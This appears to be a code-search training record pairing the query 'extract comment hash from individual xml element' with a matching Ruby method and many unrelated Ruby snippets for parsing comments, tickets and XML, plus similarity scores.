all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n tasks[ index ] = nil\r\n else\r\n task.category = category\r\n end\r\n end\r\n\r\n # Remove any 'nil' items we created above. Add parent_uid field\r\n tasks = tasks.compact.uniq.map do |task|\r\n task.parent_uid = outlinenumber2UID[task.outnum][0].uid if outlinenumber2UID[task.outnum].present?\r\n task\r\n end\r\n\r\n # Now create a secondary array, where the UID of any given task is\r\n # the array index at which it can be found. This is just to make\r\n # looking up tasks by UID really easy, rather than faffing around\r\n # with \"tasks.find { | task | task.uid = <whatever> }\".\r\n\r\n uid_tasks = []\r\n\r\n tasks.each do | task |\r\n uid_tasks[ task.uid ] = task\r\n end\r\n\r\n # OK, now it's time to parse the assignments into some meaningful\r\n # array. These will become our redmine issues. Assignments\r\n # which relate to empty elements in \"uid_tasks\" or which have zero\r\n # work are associated with tasks which are either summaries or\r\n # milestones. Ignore both types.\r\n\r\n real_tasks = []\r\n\r\n #doc.each_element( 'Project/Assignments/Assignment' ) do | as |\r\n # task_uid = as.get_elements( 'TaskUID' )[ 0 ].text.to_i\r\n # task = uid_tasks[ task_uid ] unless task_uid.nil?\r\n # next if ( task.nil? )\r\n\r\n # work = as.get_elements( 'Work' )[ 0 ].text\r\n # Parse the \"Work\" string: \"PT<num>H<num>M<num>S\", but with some\r\n # leniency to allow any data before or after the H/M/S stuff.\r\n # hours = 0\r\n # mins = 0\r\n # secs = 0\r\n\r\n # strs = work.scan(/.*?(\\d+)H(\\d+)M(\\d+)S.*?/).flatten unless work.nil?\r\n # hours, mins, secs = strs.map { | str | str.to_i } unless strs.nil?\r\n\r\n #next if ( hours == 0 and mins == 0 and secs == 0 )\r\n\r\n # Woohoo, real task!\r\n\r\n # task.duration = ( ( ( hours * 3600 ) + ( mins * 60 ) + secs ) / 3600 ).prec_f\r\n\r\n # real_tasks.push( task )\r\n #end\r\n\r\n set_assignment_to_task(doc,uid_tasks)\r\n\r\n logger.error \"DEBUG: Real tasks: #{real_tasks.inspect}\"\r\n logger.error \"DEBUG: Tasks: #{tasks.inspect}\"\r\n\r\n real_tasks = tasks if real_tasks.empty?\r\n\r\n real_tasks = real_tasks.uniq if real_tasks.present?\r\n all_categories = all_categories.uniq.sort\r\n\r\n logger.error \"DEBUG: END get_tasks_from_xml\"\r\n\r\n return real_tasks, all_categories\r\n end",
"def parse(comments)\n tags = []\n\n comments.each do |comment|\n comment = comment.gsub(COMMENT_REGEXP, '').strip\n\n KNOWN_TAGS.each do |regexp, method|\n matchdata = comment.match(regexp)\n\n if matchdata\n retval = send(method, *matchdata.captures)\n\n if retval\n tags << retval\n break\n end\n end\n end\n end\n\n return tags\n end",
"def process_comments(url)\n # Ensure the comment plugin exists\n raise \"Unable to process comments: comment plugin not detected!\" unless defined?(Comment)\n # Create an array to store the processed comments\n processed = []\n # Grab the comment items from the feed\n comments = (retrieve(url)/\"rss\"/\"channel\"/\"item\")\n # Loop through them\n comments.each do |c|\n # Create a new comment\n comment = Comment.new\n # Grab the information from the comment feed item\n comment.comment = (c/\"description\").text\n comment.name = (c/\"dc:creator\").text\n comment.created_at = DateTime.parse((c/\"pubdate\").text)\n a = Article.first(:title => (c/\"title\").text.gsub(\"Re: \", \"\"))\n comment.article_id = a.id unless a.nil?\n # Save the comment\n comment.save\n # Add it to the list of processed comments\n processed << comment\n end\n # Return the list of processed comments\n processed\n end",
"def get_comments\n xml_doc = @vimeo.get_xml(@vimeo.generate_url({\"method\" => \"vimeo.videos.comments.getList\",\n \"video_id\" => @id, \"api_key\" => @vimeo.api_key}, \"read\"))\n\n (xml_doc/:comment).each do |comment|\n @comments << build_comment(comment)\n end\n return self\n end",
"def GetComments id,params = {}\n\n params = params.merge(path: \"tickets/#{id}/comments.json\")\n APICall(params)\n\n end",
"def find_comment_replies\n assert_not_nil @rdigg.stories.find_comment_replies(\"7987660\", \"65434\")\n end",
"def comments_content(path)\n raw_comments = player_doc.xpath(\"#{path}/comment()\").to_s\n html = raw_comments.gsub(\"<!--\",\"\").gsub(\"-->\",\"\").gsub(\"\\n\", '')\n\n doc = Nokogiri::HTML(html)\n end",
"def to_xml\n xml = \"<ticket>\\n\"\n xml << \"\\t<subject>#{@subject}</subject>\\n\"\n xml << \"\\t<description>#{@description}</description>\\n\"\n xml << \"\\t<requester-name>#{@requester_name}</requester-name>\\n\"\n xml << \"\\t<requester-email>#{@requester_email}</requester-email>\\n\"\n xml << \"\\t<set-tags>#{@tags}</set-tags>\\n\"\n xml << \"</ticket>\"\n return xml\n end",
"def extract_concert_details_data(element_arr)\n # concertArray\n concert_details = []\n element_arr.map do |a|\n artists = a.css('.event_link').text\n \n city = a.css('.venue-details').css('h4:nth-child(1)').text.split(\":\")[0]\n\n venue = a.css('.venue-details').css('h4:nth-child(1)').text.split(\":\")[1]\n\n date = a.css('.venue-details').css('h4:nth-child(2)').text.split(\",\").take(2).join\n\n time = a.css('.venue-details').css('h4:nth-child(2)').text.split(\",\")[2]\n\n price = a.css('.searchResultsPrice').css('strong').text\n # concertObject\n concert_details_obj = ConcertDetails.new(artists, city, venue, date, time, price)\n concert_details.push(concert_details_obj)\n end\n return concert_details\n end",
"def listing_xml\n\tcontent = {}\n\tarr = []\n\tlistings_href = get_listings_path\n\tlistings_href.each do |href|\n\t\tdoc = Nokogiri::HTML(open(CLNY + href))\n\t\tdescription = doc.xpath('//*[@id=\"postingbody\"]').first.text\n\t\troom = doc.css('p.attrgroup span').first.text\n\t\ttitle = doc.css('span.postingtitletext').text\n\t\tprice = doc.css('span.price').text\n\t\timage = doc.css('div.tray img @src').text ? doc.css('div.tray img @src').text : \"no image\"\n\t\treply_href = doc.css(\".replylink @href\").text\n\t\t# binding.pry\n\t\text_number = description.scan(/\\d{2}[\\s\\d-]{5,}/)\n\t\text_email = description.scan(/\\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}\\b/i)\n\t\tbinding.pry\n\t\tarr << {title: title,\n\t\t\t\t\t\tprice: price,\n\t\t\t\t\t\troom: room,\n\t\t\t\t\t\tdescription: description,\n\t\t\t\t\t\timage: image,\n\t\t\t\t\t\treply_href: CLNY + reply_href,\n\t\t\t\t\t\tnumber: ext_number.uniq,\n\t\t\t\t\t\temail: ext_email.uniq\n\n\n\t\t }\n\tend\n\tbinding.pry\n\tarr\nend",
"def comments\n if has_comments?\n @repository.load(:comments, number).map do |item|\n Github::Issue::Comment.new(item)\n end\n else \n []\n end\n end",
"def find_comments\n assert_not_nil @rdigg.stories.find_comments(\"7987660\")\n end",
"def parse_xml(doc)\n data = []\n doc.elements.each('log/logentry') do |le|\n e = Entry.new\n e.author = le.elements[\"author\"].text\n e.time = DateTime.parse(le.elements[\"date\"].text).to_local_time\n e.paths = []\n le.elements.each('paths/path') do |pa|\n e.paths.push [pa.attributes[\"action\"], pa.text]\n end\t\n e.paths.sort! do |a, b|\n a[1] <=> b[1]\n end\n e.msg = le.elements[\"msg\"].text\n e.msg = htmlize(e.msg, @user_config[:msg_gsubs]) if e.msg\n e.rev = le.attributes[\"revision\"]\n data.push e\n end\n data\n end",
"def return_comment\n @comments\n end",
"def convert_xml_comment(el, opts)\n block = el.options[:category] == :block\n indent = SPACE * @current_indent\n content = el.value\n content.gsub!(/^<!-{2,}\\s*/, \"\") if content.start_with?(\"<!--\")\n content.gsub!(/-{2,}>$/, \"\") if content.end_with?(\"-->\")\n result = content.lines.map.with_index do |line, i|\n (i.zero? && !block ? \"\" : indent) +\n @pastel.decorate(\"#{@symbols[:hash]} \" + line.chomp,\n *@theme[:comment])\n end.join(NEWLINE)\n block ? result + NEWLINE : result\n end",
"def process_each_comment comment\n\n\tquote1_markerstring = \"\\r\\n\\r\\n\"\n\tquote2_markerstring = \"\\r\\n\"\n\n\tquote = comment[/#{quote1_markerstring}(.*?)#{quote2_markerstring}/m, 1].strip\n\tbookname_and_page = comment.split(\"|\").first\n\n\ttmp = bookname_and_page.split(\"\\r\\n\")\n\tbookname = tmp.first.strip\n\tpage = tmp.last.strip\n\t[quote,bookname,page]\n\nend",
"def comments\n Comment.where(:article => @id)\n end",
"def getComments\n\t\tself.root_comments\n\tend",
"def getComments\n\t\tself.root_comments\n\tend",
"def draft_release_notes_xml\n extra_javascript 'docs'\n @bugs = sorted_bugs.select(&:doc_text_required?)\n end",
"def get_comments(channel_name)\n uri = create_api_uri(@@base_uri, channel_name, 'getComments')\n return get(uri)\n end",
"def comments\n refresh if (@comments.nil? || @comments.empty?) && @comments_count > 0\n @comments ||= Array.new\n end",
"def comments\n refresh if (@comments.nil? || @comments.empty?) && @comments_count > 0\n @comments ||= Array.new\n end",
"def comments\n @comments ||= Comments.new(worksheet)\n end",
"def list_comments\n hc = if has_comments_valided?\n comments(valided: true).collect do |dcom|\n next unless dcom[:ok]\n (\n (dcom[:ps] + ', le ' + dcom[:at].as_human_date).in_div(class: 'c_info') +\n traite_comments(dcom[:c]).in_div(class: 'c_content') + \"\".in_div(class: 'clear')\n ).in_div(class: 'comment')\n end.join('')\n else\n \"Aucun commentaire sur cet article pour le moment.\".in_div(class: 'italic small')\n end\n hc.prepend('<a name=\"lire_comments\"></a>')\n return hc\n end",
"def create_conjunction_tickets(ticketing_element)\n\t \tresponse = []\n\t \ttext = ticketing_element[:@e_ticket_number]\n\t \tunless text.nil?\n\t \t\ttemp = text.split(\"-\")\n\t \t\ttemp_number = temp[0]\n\t \t\ttemp_number = temp_number.gsub(\"TE\", \"\")\n\t \t\ttemp_number.strip\n\t \t\tif temp_number.include?(\"/\") then\n\t \t\t\ttemp = temp_number.split(\"/\")\n\t \t\t\tnumber = temp[0].last(10)\n\t \t\t\tnumber_conj = temp[1]\n\t \t\t\tcant_conj = calculate_cant_conjuntion(number, number_conj)\n\t\t \t\t for i in (1..cant_conj) do\n\t\t \t\t \tconj_number = (number.to_i + i).to_s\n\t\t \t\t \tresponse << {number: conj_number, void: false, pax_name: \"conjunción\", base_fare: \"\", airline: \"\"}\n\t\t \t\t end\n\t \t\tend\n\t \tend\n\t \treturn response\n\t end",
"def flatten_comments\n comments = raw_comment['comments']\n workset =\n if comments\n [CommentNode.new(comments, self)]\n else\n []\n end\n\n all_comments = []\n\n until workset.empty?\n node = workset.pop\n parent = node.parent\n\n node.raw_comments.each do |comment|\n new_comments = comment.delete('comments')\n current_comment = Comment.new({ 'comment' => comment }, parent_comment: parent)\n all_comments << current_comment\n workset << CommentNode.new(new_comments, current_comment) if new_comments\n end\n end\n\n all_comments\n end",
"def comments\n worksheets.map(&:comments).compact\n end",
"def on_type_test_comment(ast_node, context)\n nodes = XML::NodeSet.new\n\n context.each do |node|\n nodes << node if node.is_a?(XML::Comment)\n end\n\n return nodes\n end",
"def note\n comment_list = []\n return @notes if !@notes.nil?\n for page in @pages\n next if !page || !page.list || page.list.size <= 0\n note_page = page.list.dup\n \n note_page.each do |item|\n next unless item && (item.code == 108 || item.code == 408)\n comment_list.push(item.parameters[0])\n end\n end\n @notes = comment_list.join(\"\\r\\n\")\n return @notes\n end",
"def in_files\n return [] if @comments.empty?\n\n case @comments\n when Array then\n @comments.map do |comment|\n comment.file\n end\n when RDoc::Markup::Document then\n @comment.parts.map do |document|\n document.file\n end\n else\n raise RDoc::Error, \"BUG: unknown comment class #{@comments.class}\"\n end\n end",
"def createticketxml(descriptiontext, priorityid, requesternametext, requesteremail)\n ticketxml = Document.new\n ticketxml.add_element(\"ticket\")\n description = Element.new(\"description\")\n description.text = descriptiontext\n ticketxml.root.add_element(description)\n priority = Element.new(\"priority-id\")\n priority.text = priorityid\n ticketxml.root.add_element(priority)\n requestername = Element.new(\"requester-name\")\n requestername.text = requesternametext\n ticketxml.root.add_element(requestername)\n email = Element.new(\"requester-email\")\n email.text = requesteremail\n ticketxml.root.add_element(email)\n\n return ticketxml\n\n end",
"def adverts\n pattern = []\n (1..content_breaks.count).to_a.each do |n|\n pattern << @response.xpath(\"//ContentBreak[#{n}]/Action\").map { |advert| advert.text.strip }\n end\n pattern\n end",
"def contacts_from_xml(xml)\n Hash.from_xml(xml)[\"contacts\"][\"contact\"]\n end",
"def parse(xml)\n @id = xml.xpath('//xmlns:feed/xmlns:id').first.text\n @title = xml.xpath('//xmlns:feed/xmlns:title').first.text\n\n @author_email =\n xml.xpath('//xmlns:feed/xmlns:author/xmlns:email').first.text\n @author_name = xml.xpath('//xmlns:feed/xmlns:author/xmlns:name').first.text\n\n xml.xpath('//xmlns:feed/xmlns:entry').each do |entry|\n title = entry.xpath('.//xmlns:title').first.text\n emails = []\n primary = entry.xpath('.//gd:email[@primary]')\n next unless primary.first\n emails << primary.first['address']\n alternates = entry.xpath('.//gd:email[not(@primary)]')\n\n emails.push(*alternates.map { |e| e['address'] })\n\n ims = []\n entry.xpath('.//gd:im').each do |im|\n ims << [im['address'], im['protocol']]\n end\n\n phones = []\n entry.xpath('.//gd:phoneNumber').each do |phone|\n phones << [phone.text, phone['rel']]\n end\n\n addresses = []\n entry.xpath('.//gd:postalAddress').each do |address|\n addresses << [address.text, address['rel']]\n end\n\n photo_link = entry.xpath('.//xmlns:link[@rel=\"http://schemas.google.com/contacts/2008/rel#photo\"]').first\n photo_url = photo_link['href'] if photo_link\n\n contact = Contact.new title, emails, ims, phones, addresses, photo_url\n\n @contacts << contact\n end\n\n self\n end",
"def release_tags_from_purl_xml(doc)\n nodes = doc.xpath('//publicObject/releaseData').children\n # We only want the nodes with a name that isn't text\n nodes.reject { |n| n.name.nil? || n.name.casecmp('text') == 0 }.map { |n| n.attr('to') }.uniq\n end",
"def comments\n client.get(\"/#{id}/comments\")\n end",
"def comments_text\n return self.comments.inject(\"\") do |string, comment| \n string + \n (string.empty? ? \"\" : \"\\n\") +\n comment.email +\n \": \" +\n comment.message\n end\n end",
"def _get_comments_from_gh()\n comments = []\n page = 1\n done = false\n until done\n puts \"Comment Page #{page}\"\n newcomments = self.client.issues_comments( REPO, { :page => page} )\n comments += newcomments\n done = newcomments == []\n page = page + 1\n end\n return comments\n end",
"def defects(test_case)\n all_tags(test_case).select{|tag| tag.name =~/(?:jira|defect)_/}.map{|ticket| /(?:jira|defect)_(\\w+-\\d+)$/.match(ticket.name)[1]}.uniq.join(\",\")\n end",
"def rspec_parser(nokigiri_doc)\n result_arr = []\n testsuites = nokigiri_doc.xpath(\"//testsuites\")\n testsuites.each do |suites|\n testsuite = suites.xpath(\"./testsuite\")\n testsuite.each do |suite|\n debug_msg \"\\nSUITE: #{suite[\"name\"]} \"\n testsuite_name = suite[\"name\"]\n testcases = suite.xpath(\"./testcase\")\n testcases.each do |tcase|\n debug_msg \"TESTCASE: #{tcase}\"\n is_passed = false\n failure = tcase.xpath(\"./failure\")\n if ! failure.nil?\n is_passed = true\n if failure.size > 0\n is_passed = false\n end\n end\n debug_msg \" TC: #{tcase[\"name\"]}\"\n testcase_name = tcase[\"name\"]\n trail_cases = parse_trail_tag(testcase_name)\n trail_cases.each do |trail_case|\n result_arr.push({:trail_case => trail_case, :passed => is_passed})\n end\n end\n end\n debug_msg \"FINAL: #{result_arr}\"\n return result_arr\n end\n end",
"def parse_comments(result)\n parse_type(result, \"comment\")\n end",
"def comments\n session.driver_env.execute_js(\"$('*').contents().filter(function(){ return this.nodeType===8; })\")\n end",
"def xml_data(xml)\n return unless xml = Objectify::Xml.first_element(xml)\n # There is something wrong with Nokogiri xpath/css search with\n # namespaces. If you are searching a document that has namespaces,\n # it's impossible to match any elements in the root xmlns namespace.\n # Matching just on attributes works though.\n feed, entry = xml.search('//*[@term][@scheme]', xml.namespaces)\n feed_self, entry_self = xml.search('//*[@rel=\"self\"][@type=\"application/atom+xml\"]', xml.namespaces)\n feed_scheme = feed['term'] if feed\n entry_scheme = entry['term'] if entry\n feed_href = feed_self['href'] if feed_self\n entry_href = entry_self['href'] if entry_self\n [xml, feed_scheme, entry_scheme, feed_href, entry_href]\n end",
"def parse_xml (xml)\n\n xml = REXML::Document.new(xml) \\\n if xml.is_a?(String)\n\n xml = xml.root \\\n if xml.is_a?(REXML::Document)\n\n if xml.is_a?(REXML::Text)\n\n s = xml.to_s.strip\n\n return s if s.length > 0\n\n return nil\n end\n\n return nil if xml.is_a?(REXML::Comment)\n\n # then it's a REXML::Element\n\n rep = [\n xml.name,\n xml.attributes.inject({}) { |r, (k, v)| r[k] = v; r },\n [] ]\n\n xml.children.each do |c|\n\n r = parse_xml(c)\n\n rep.last << r if r\n end\n\n rep\n end",
"def comments\n @list.client.get(\"#{url}/comments\")\n end",
"def comments\n @list.client.get(\"#{url}/comments\")\n end",
"def all_commenters\n commenters = []\n for comment in self.comment_threads\n commenters << comment.author\n end\n\n return commenters\n end",
"def transform_ticket(ticket)\n fields = []\n fields << ticket['id']\n fields << ticket['status']\n fields << ticket['subject']\n fields << get_component(ticket['custom_fields'])\n fields << clean_text(ticket['description'], 5)\n fields << get_user_name(ticket['requester_id'])\n created = Date.parse(ticket['created_at'])\n updated = Date.parse(ticket['updated_at'])\n fields << created.to_s\n fields << updated.to_s\n fields << (updated - created).to_i\n fields << jira_escalated?(ticket['tags'])\n end",
"def get_events_for_ticket( session_key, ticket_id)\n response_xml = self.call( :get_events_for_ticket, message: {\n arg0: session_key,\n arg1: ticket_id\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def consume_comments\n c = comments\n discard_comments\n c\n end",
"def comment_sections\n @comment_sections ||= raw ? raw.split(\"\\n\\n\") : []\n end",
"def commenters\n comments = Comment.find_by_sql(\"select distinct user_id from comments \"\\\n \"where commentable_type='Package' \"\\\n \"and commentable_id=#{id}\")\n # return the commenters\n comments.map {|comment| User.find(comment.user_id)}\n end",
"def comments; rest_query(:comment); end"
] |
[
"0.68685955",
"0.66146517",
"0.5963169",
"0.59491605",
"0.5747329",
"0.57101387",
"0.5701599",
"0.5660127",
"0.562449",
"0.56160307",
"0.56068105",
"0.55906016",
"0.5577316",
"0.5571283",
"0.55611193",
"0.55536056",
"0.5549933",
"0.5549933",
"0.5549933",
"0.5531084",
"0.5524016",
"0.5469125",
"0.54281384",
"0.5392905",
"0.5373285",
"0.5360751",
"0.5354178",
"0.5347162",
"0.53435576",
"0.53139395",
"0.52991873",
"0.5293468",
"0.529182",
"0.52797765",
"0.5277218",
"0.5272777",
"0.5262636",
"0.52614313",
"0.5258284",
"0.5254997",
"0.5240598",
"0.5240598",
"0.52388954",
"0.5216851",
"0.5216554",
"0.5216554",
"0.5203346",
"0.52003616",
"0.51953065",
"0.51788807",
"0.5174655",
"0.51746255",
"0.5162991",
"0.5157346",
"0.5148583",
"0.51378244",
"0.51197076",
"0.5089631",
"0.508557",
"0.5056337",
"0.50537807",
"0.5049011",
"0.5016245",
"0.50099295",
"0.50099295",
"0.5006266",
"0.5000863",
"0.49927837",
"0.49927837",
"0.49914655",
"0.49657395",
"0.4962297",
"0.4945369",
"0.49453452",
"0.49416563",
"0.4926534",
"0.49131748",
"0.48911008",
"0.48846155",
"0.488084",
"0.4877009",
"0.4868797",
"0.4867834",
"0.4860355",
"0.48586792",
"0.48456234",
"0.48419532",
"0.48410177",
"0.48407355",
"0.48323923",
"0.4823436",
"0.48195815",
"0.48195815",
"0.48125294",
"0.4802026",
"0.47969213",
"0.47962654",
"0.4789857",
"0.4789128",
"0.47852105"
] |
0.8522526
|
0
|
extract comment hash from individual xml element
|
def parse_comment_info(xml_element)
text = xml_element.elements['comment'].text rescue ""
author = xml_element.elements['comment'].key['author'] rescue ""
created = xml_element.elements['comment'].key['created'] rescue ""
return {
:text => text,
:author => author,
:created => created
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def convert_xml_comment(el, opts)\n block = el.options[:category] == :block\n indent = SPACE * @current_indent\n content = el.value\n content.gsub!(/^<!-{2,}\\s*/, \"\") if content.start_with?(\"<!--\")\n content.gsub!(/-{2,}>$/, \"\") if content.end_with?(\"-->\")\n result = content.lines.map.with_index do |line, i|\n (i.zero? && !block ? \"\" : indent) +\n @pastel.decorate(\"#{@symbols[:hash]} \" + line.chomp,\n *@theme[:comment])\n end.join(NEWLINE)\n block ? result + NEWLINE : result\n end",
"def parse_ticket_for_comments(xml)\n comments = []\n\n doc = REXML::Document.new(xml)\n\n doc.elements.inject('item/comments', comments) do |comments, element|\n comments.push(parse_comment_info(element))\n end\n\n return comments\n end",
"def comments_hash_flag; end",
"def comments_hash_flag; end",
"def comments_hash_flag; end",
"def parse_comments\n @data[4][0]\n end",
"def get_raw(element_spec, node)\n result = node && node.text or \"\"\n #puts \"#{__method__}: #{result}\" if result.index('Comments Alert, 54 yo f Pt.')\n result\n end",
"def extract_comment comment\n case comment\n when Array then\n comment.map do |c|\n extract_comment c\n end\n when nil\n RDoc::Comment.new ''\n when RDoc::Comment then\n if comment.text =~ /^#[ \\t]*:section:.*\\n/ then\n start = $`\n rest = $'\n\n comment.text = if start.empty? then\n rest\n else\n rest.sub(/#{start.chomp}\\Z/, '')\n end\n end\n\n comment\n when RDoc::Markup::Document then\n comment\n else\n raise TypeError, \"unknown comment #{comment.inspect}\"\n end\n end",
"def hash_tag_comments(pr)\n ccs = commit_comments(pr)\n prcs = pr_comments(pr)\n ics = issue_comments(pr)\n (ccs + prcs + ics).reduce(0) do |acc, ic|\n unless ic[:body].nil?\n acc + ic[:body].gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).size\n else\n acc\n end\n end\n end",
"def comments_hash_flag=(_arg0); end",
"def comments_hash_flag=(_arg0); end",
"def comment\n @comment ||= begin\n space = node.previous_sibling and\n space.to_s.blank? && space.to_s.count(\"\\n\") == 1 and\n comment_node = space.previous_sibling\n\n if comment_node.is_a?(REXML::Comment)\n doc.restore_erb_scriptlets(comment_node.to_s.strip)\n end\n end\n end",
"def hash_tag_description(pr)\n pull_req = pull_req_entry(pr)\n unless pull_req[:body].nil?\n pull_req[:body].\\\n gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).size\n else\n 0\n end\n end",
"def hash\n @hash ||= opts[:parser].parse(data.to_s.gsub(/\\<!\\[CDATA\\[([^\\]]+)\\]\\]\\>/) {$1})\n end",
"def comment\n decode_string_member(:comment)\n end",
"def to_hash\n strip_content(xml.to_hash)\n end",
"def hash\n element.hash\n end",
"def comments\n if nodes = @node.xpath(\"comments\")\n nodes.map { |node| node.content }.compact\n end\n end",
"def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end",
"def comment\r\n file = ''\r\n MIME.mime_dirs.each { |dir|\r\n file = \"#{dir}/#{content_type}.xml\"\r\n break if File.file? file\r\n }\r\n\r\n comments = {}\r\n open(file) { |f|\r\n doc = REXML::Document.new f\r\n REXML::XPath.match(doc, '*/comment').each { |c|\r\n if att = c.attributes['xml:lang']\r\n comments[att] = c.text\r\n else\r\n comments.default = c.text\r\n end\r\n }\r\n }\r\n comments\r\n end",
"def comment(comment_hash)\n time = Time.parse(comment_hash[:updated]).strftime('%b %d %H:%m')\n author = set_color(\" -- #{comment_hash[:author][:name]}\", :cyan)\n byline = \"#{author} | #{time}\\n\"\n\n [comment_hash[:body], byline].join(\"\\n\")\n end",
"def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end",
"def comments(doc)\n doc.search('.comment > font:first-child').map { |font| font.inner_text }\n end",
"def to_hash\n @to_hash ||= RISBN::NokogiriUtils.hash_from_node(xml_nodes)[:entry]\n end",
"def proteinInfo2hash (xmlRes)\n\n#\t\txmlDoc = Document.new xmlRes\n#\t\tentries = xmlDoc.elements.collect('uniprot/entry') { |ent| ent }\n\t\txmlDoc = Nokogiri::XML(xmlRes)\n\t\tentries = xmlDoc.css('uniprot > entry')\n# just take the very first entry\n\t\tmain_entry = entries.first\n\n\t\trecommended_name = main_entry.css('protein > recommendedName > fullName').collect {\n\t\t\t|node| node.text\n\t\t}\n\t\tsynonyms = main_entry.css('protein > alternativeName > fullName').collect {\n\t\t\t|alt_name| alt_name.text\n\t\t}\n\t\tkeywords = main_entry.css('keyword').collect { |keyw| keyw.text }\n\n\t\torganism = main_entry.css('organism > name').collect { |org|\n\t\t\tif org['type'] == 'scientific' then org.text end\n\t\t}\n\t\tfunction = main_entry.css(\"comment[type='function']\").collect { |func|\n\t\t\tfunc.text\n\t\t}\n\t\tlocation = main_entry.css(\"comment[type='subcellular location'] > subcellularLocation > location\").collect { |loc|\n\t\t\tloc.text\n\t\t}\n\n\t\tmolWeight = nil\n\t\tseqLength = nil\n\t\tseq = nil\n\t\tmain_entry.css(\"/sequence\").collect { |theSeq|\n\t\t\tmolWeight = theSeq.attributes['mass'].value\n\t\t\tseqLength = theSeq.attributes['length'].value\n\t\t\tseq = theSeq.text\n\t\t}\n\n# the very first pdb reference is got. a comparison based on resolution can improve the choice\n\t\tpdbs = main_entry.css(\"dbReference[type='PDB']\").collect { |pdb|\n\t\t\tpdb\n\t\t}\n\t\tpdbNodeMalformed = false\n\t\tpdbs.each { |node|\n\t\t\tresolution = node.css(\"property[type='resolution']\")\n\t\t\tif resolution.nil? || resolution.length == 0 then\n\t\t\t\tpdbNodeMalformed = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\t\tif pdbs.empty? == false && pdbNodeMalformed == false\n# sort by value resolution to get the element with lowes resolution value\n\t\t\tpdbs = pdbs.sort_by{ |node|\n\t\t\t\tnode.css(\"property[type='resolution']\").first['value']\n\t\t\t}\n\t\tend\n\n\n\t\tpdbResult = ''\n\t\tif pdbs.empty? == false\n\t\t\tpdbResult = 'http://www.pdb.org/pdb/explore/explore.do?structureId='\n#\t\t\tpdbResult += pdbs[0].css(\"property[type='resolution']\").first['value']\n\t\t\tpdbResult += pdbs[0].attributes['id'].value\n\t\tend\n\t\thash_result = Hash.new\n\t\thash_result[:target_name] = \"#{recommended_name[0]} (#{organism[0]})\"\n\t\thash_result[:target_type] = 'PROTEIN'\n\t\thash_result[:description] = recommended_name[0]\n\t\thash_result[:synonyms] = synonyms.join('; ')\n\t\thash_result[:organism] = organism[0]\n\t\thash_result[:keywords] = keywords.join('; ')\n\t\thash_result[:cellularLocations] = location.join('; ')\n\t\thash_result[:molecularWeight] = molWeight\n\t\thash_result[:numberOfResidues] = seqLength\n\t\thash_result[:sequence] = seq\n\t\thash_result[:specificFunction] = function.join('; ')\n\t\thash_result[:pdbIdPage] = pdbResult\n\t\thash_result[:theoreticalPi] = nil\n\n\t\thash_result\n\tend",
"def test_assemble_xml_file\n @worksheet.write_comment(\n 1, 1, 'Some text',\n author: 'John', visible: nil, color: 81,\n font: 'Calibri', font_size: 20, font_family: 2\n )\n\n comments = @worksheet.comments\n comments.assemble_xml_file\n result = got_to_array(comments.instance_variable_get(:@writer).string)\n\n expected = expected_to_array(expected_xml)\n\n assert_equal(expected, result)\n end",
"def fingerprint\n text('//fingerprint').upcase\n end",
"def comments_from path\n path = File.expand_path(\"../lib/friendly_id/#{path}\", __FILE__)\n match = File.read(path).match(/\\n=begin(.*)\\n=end/m)[1].to_s\n match.split(\"\\n\").reject {|x| x =~ /^@/}.join(\"\\n\").strip\nend",
"def _HtmlComment\n\n _save = self.pos\n while true # sequence\n _tmp = match_string(\"<!--\")\n unless _tmp\n self.pos = _save\n break\n end\n while true\n\n _save2 = self.pos\n while true # sequence\n _save3 = self.pos\n _tmp = match_string(\"-->\")\n _tmp = _tmp ? nil : true\n self.pos = _save3\n unless _tmp\n self.pos = _save2\n break\n end\n _tmp = get_byte\n unless _tmp\n self.pos = _save2\n end\n break\n end # end sequence\n\n break unless _tmp\n end\n _tmp = true\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\"-->\")\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_HtmlComment unless _tmp\n return _tmp\n end",
"def comment_id\n changes['comment_id']\n end",
"def comment_body\n if read_attribute('comment_body') =~ COMMENT_BODY_PARSER\n $2\n else\n read_attribute('comment_body')\n end\n end",
"def hash\n node_id.hash\n end",
"def comment\n @attributes[:comment]\n end",
"def elementhash\n return @elementHash\n end",
"def hash\n return unless doc_value?\n result['doc']['hash']\n end",
"def scrape_comments(href)\n p \"scraping comments #{href}\"\n \n comments = Array.new\n \n \n #begin transaction to get comments\n @agent.transact {\n page = @agent.get(href)\n \n page.search(\".ctextfooterwrap\").each{ |elem|\n #each ctextfooterwrap is a comment\n #a textfooter wrap is composed of ctext and cfooter\n \n #create our blog comment template\n str = <<-eos\n<wp:comment>\n<wp:comment_id></wp:comment_id>\n<wp:comment_author><![CDATA[]]></wp:comment_author>\n<wp:comment_author_email></wp:comment_author_email>\n<wp:comment_author_url></wp:comment_author_url>\n<wp:comment_author_IP></wp:comment_author_IP>\n<wp:comment_date></wp:comment_date>\n<wp:comment_date_gmt></wp:comment_date_gmt>\n<wp:comment_content><![CDATA[]]></wp:comment_content>\n<wp:comment_approved>1</wp:comment_approved>\n<wp:comment_type></wp:comment_type>\n<wp:comment_parent>0</wp:comment_parent>\n<wp:comment_user_id>0</wp:comment_user_id>\n</wp:comment>\n eos\n \n doc = Hpricot.XML(str)\n \n #this gives us the string with type= \"Posted 3/24/2009 8:45 PM by anon ymos - delete - reply\"\n str_arr = elem.search(\".cfooter\").inner_text.split(\" \")\n #wp:comment_date/wp:comment_date_gmt have format of: 2009-03-10 00:12:22\n str_arr[1] = str_arr[1].split(\"/\") #first we must fix format of year\n \n str_arr[1][0]= \"0\" + str_arr[1][0].to_s if 